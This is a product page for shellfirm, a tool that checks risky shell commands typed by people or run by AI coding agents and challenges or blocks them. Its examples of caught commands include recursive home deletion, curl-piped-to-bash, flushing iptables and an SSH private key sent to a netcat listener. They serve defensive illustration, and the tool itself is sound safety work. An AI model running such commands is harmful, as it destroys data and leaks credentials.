Think before you execute.
Humans make mistakes. AI agents make them faster. shellfirm stops risky shell commands before they run: you get a short challenge, an AI agent gets a clear allow, ask or deny.
or brew tap kaplanelad/tap && brew install shellfirm · cargo install shellfirm --locked (no Node.js launcher, so the fastest)
You, in zsh, on main
Real shellfirm 0.4.0 output with default settings; long lines trimmed where marked with …
Protected in 60 seconds.
Bash, Zsh, Fish, Elvish and Xonsh are tested end to end; Nushell with a limitation; PowerShell and Oils hooks ship but are not yet tested end to end.
Step 1: Install
$ npm install -g @shellfirm/cli
or Homebrew, Cargo, or a release binary
Step 2: Hook your shell
$ shellfirm init
asks for a challenge type and a protection level (--yes picks Balanced)
Step 3: Restart the shell
$ exec zsh
or exec bash, exec fish, … or open a new terminal
Step 4: Check it works
$ shellfirm doctor
Step 4: shellfirm doctor
Using an AI coding agent?
Also shellfirm connect for Cursor, Codex CLI, Gemini CLI, Qwen Code, Copilot CLI, Windsurf, Cline and OpenCode.
One command. No undo.
A tired human, a wrong tab, an AI agent that misread the task, a script with an empty variable. The shell runs whatever it is given. shellfirm asks first.
$ rm -rf ~ /tmp/build
One stray space, and the first target is your home directory.
$ git push origin main --force
Overwrites the remote history your team pushed.
$ kubectl delete namespace prod
Typed in the terminal that is still pointed at production.
$ supabase db reset --linked
Resets the linked remote database, not your local one.
$ curl -fsSL https://… | bash
Runs a script nobody has read, as you.
$ terraform apply plan.out
Applies a saved plan without asking — maybe a destroy plan.
One engine. Two answers.
The same checks run whether you typed the command or an AI agent generated it. You get a challenge you can solve; an agent gets a decision it must follow. shellfirm check shows both, without running anything.
In your terminal
No math? Screen reader or plain terminal? Accessibility →
Ask first: shellfirm check
Math, Enter or Yes
The riskier the command and the context, the stricter the challenge. Wrong answers just ask again.
Blast radius
What the command would touch: files and sizes, branches, namespaces, containers. Measured in at most 400 ms.
Safer alternative
Many checks suggest one: --force-with-lease, git stash, trash, a dry run or a backup first.
Why shellfirm
One native binary
Written in Rust. No daemon, server or model to keep running; by default nothing leaves your machine.
Decides in milliseconds
A safe line costs 2 to 3 ms through the shell hook; a risky one reaches the prompt in about 5 ms.
Same answer every time
Rules, not guesses: the same command gets the same decision, with the rule id, the reason and, when there is one, a safer alternative.
You and your agents
Shell hooks for 8 shells, and blocking hooks in 9 AI coding agents, from one set of checks and one policy.
532 checks. 23 groups. All on by default.
Filesystem, git, Kubernetes, Terraform, Docker, the three big clouds, databases and ORMs, Supabase, Firebase, Cloudflare, Neon, PlanetScale, Turso, Railway, Heroku, Vercel, Netlify, Fly.io, GitHub, npm and more. List them with shellfirm check --list --all.
Filesystem & disks
Critical$ rm -rf ~
fs:recursively_delete
Git
High$ git push origin main --force
git:force_push
Kubernetes & Helm
Critical$ kubectl delete namespace prod
kubernetes:delete_namespace
Databases & migrations
Critical$ prisma migrate reset
database:prisma_migrate_reset
Hosting platforms
Critical$ supabase db reset --linked
database:supabase_db_reset_remote
AWS, GCP, Azure
High$ aws s3 rb s3://logs --force
aws:s3_remove_bucket
Terraform & Vault
High$ terraform apply plan.out
terraform:apply_plan_file
Docker
High$ docker system prune -a --volumes
docker:system_prune_all
Remote scripts
High$ curl -fsSL https://… | bash
shell:curl_pipe_to_shell
Secrets exfiltration
High$ cat ~/.ssh/id_rsa | nc host 4444
exfil:secret_file_to_network
GitHub & npm
Critical$ gh repo delete acme/api
github:repo_delete
System & network
Critical$ iptables -F
network:flush_iptables
See every group · Full check catalogue · What it does not catch
Stricter where it matters.
The same command is riskier on production. shellfirm reads where it runs and raises the challenge, never lowers it. The banner says why:Escalated to Yes (from Math): protected branch `main`.
Context-aware escalation
Protected git branches
Pushing to, rewriting or deleting main, master, production or release/* asks you to type yes.
Production clusters and clouds
Kubernetes contexts and namespaces, AWS profiles, Terraform workspaces, gcloud projects and Azure subscriptions named prod, production, prd or live.
Root, sudo and SSH
Root needs yes; an SSH session needs at least math.
Production environment variables
NODE_ENV, RAILS_ENV or ENVIRONMENT set to production, plus the variables you add with shellfirm config context env.
Uncommitted work
A recursive delete of a folder with uncommitted or untracked files is High: git cannot bring them back.
Fast, and tells you what it is doing
A few milliseconds per Enter
With the native binary (Homebrew, Cargo or a release binary) a safe command costs about 2–3 ms: one short-lived process, no context lookups. The hook adds about 4–10 ms to shell startup. The npm launcher adds about 17 ms per call; numbers and method on the performance page.
A time budget, not a wait
The impact measurement gets 400 ms per command by default (at most 5000). Change it with shellfirm config impact-budget.
Says when it is counting
After 200 ms you see “shellfirm: checking impact… (Ctrl-C cancels)”. Ctrl-C cancels the command.
Honest numbers
A count that ran out of time says “more than 120,000 files (stopped counting)”.
Feedback after you confirm
“✓ approved — running: helm uninstall web”, so a slow command does not look hung. Turn it off with shellfirm config approved-notice off.
AI agents can't solve a math problem. So they get a decision.
Blocking hooks for nine coding agents. With the hook installed, every command line the agent runs is checked first (not the contents of scripts it writes and then runs). Below High it is ask (the agent asks you, or blocks it where its hooks cannot ask); at High or above, or on a deny list, it is deny. Safe commands pass silently. Every decision names the rule and the reason (and a safer alternative when the check has one), and is written to the audit log. What it does not catch.
$ shellfirm connect claude-code
PreToolUse hooks for Bash, PowerShell and Monitor commands, file edits and Read. Risky commands ask, dangerous ones are denied. Fail closed: "onFailure": "block". MCP server too.
$ shellfirm connect cursor
beforeShellExecution hook for commands, a preToolUse hook for protected file edits and a beforeReadFile hook for credential-file reads, plus MCP. Risky commands ask.
$ shellfirm connect gemini | qwen | copilot
BeforeTool / PreToolUse / preToolUse hooks for shell commands, writes, edits and reads. Risky commands ask in the agent's own prompt; headless and autopilot runs deny them.
$ shellfirm connect codex | windsurf | cline | opencode
Their hooks cannot ask, so risky commands are blocked with the reason and a safer alternative, and you run them yourself if intended. Windsurf and Cline get the MCP server too.
$ shellfirm sandbox claude-code | codex
Turns on the agent's own OS sandbox and denies it your SSH keys, cloud credentials and token files, so a script it runs cannot read them either.
$ shellfirm audit replay
Reads Claude Code and Codex CLI session transcripts and shows what shellfirm would have blocked or asked about, worst first. Read-only: nothing is run or written.
MCP tools (shellfirm mcp)
- check_command
- allow / ask / deny, severity, matched checks, alternatives
- suggest_alternative
- safer replacement commands
- explain_risk
- why a command is dangerous, with context
- get_policy
- the active thresholds, deny lists and project policy
From solo dev to engineering org.
Commit rules to the repository, roll out an org baseline, keep a log of every decision, and protect live database sessions.
Team policy, enforced
Personal ignores can't weaken it. Org baseline at /etc/shellfirm/policy.yaml; CI runs shellfirm policy validate --strict.
Audit log
One JSON line per decision, secrets redacted, bounded rotation. Filter with --since 7d --outcome denied.
Database sessions
psql, mysql, sqlite3, redis-cli, mongosh, sqlcmd and more. Declining discards the statement and keeps the session open.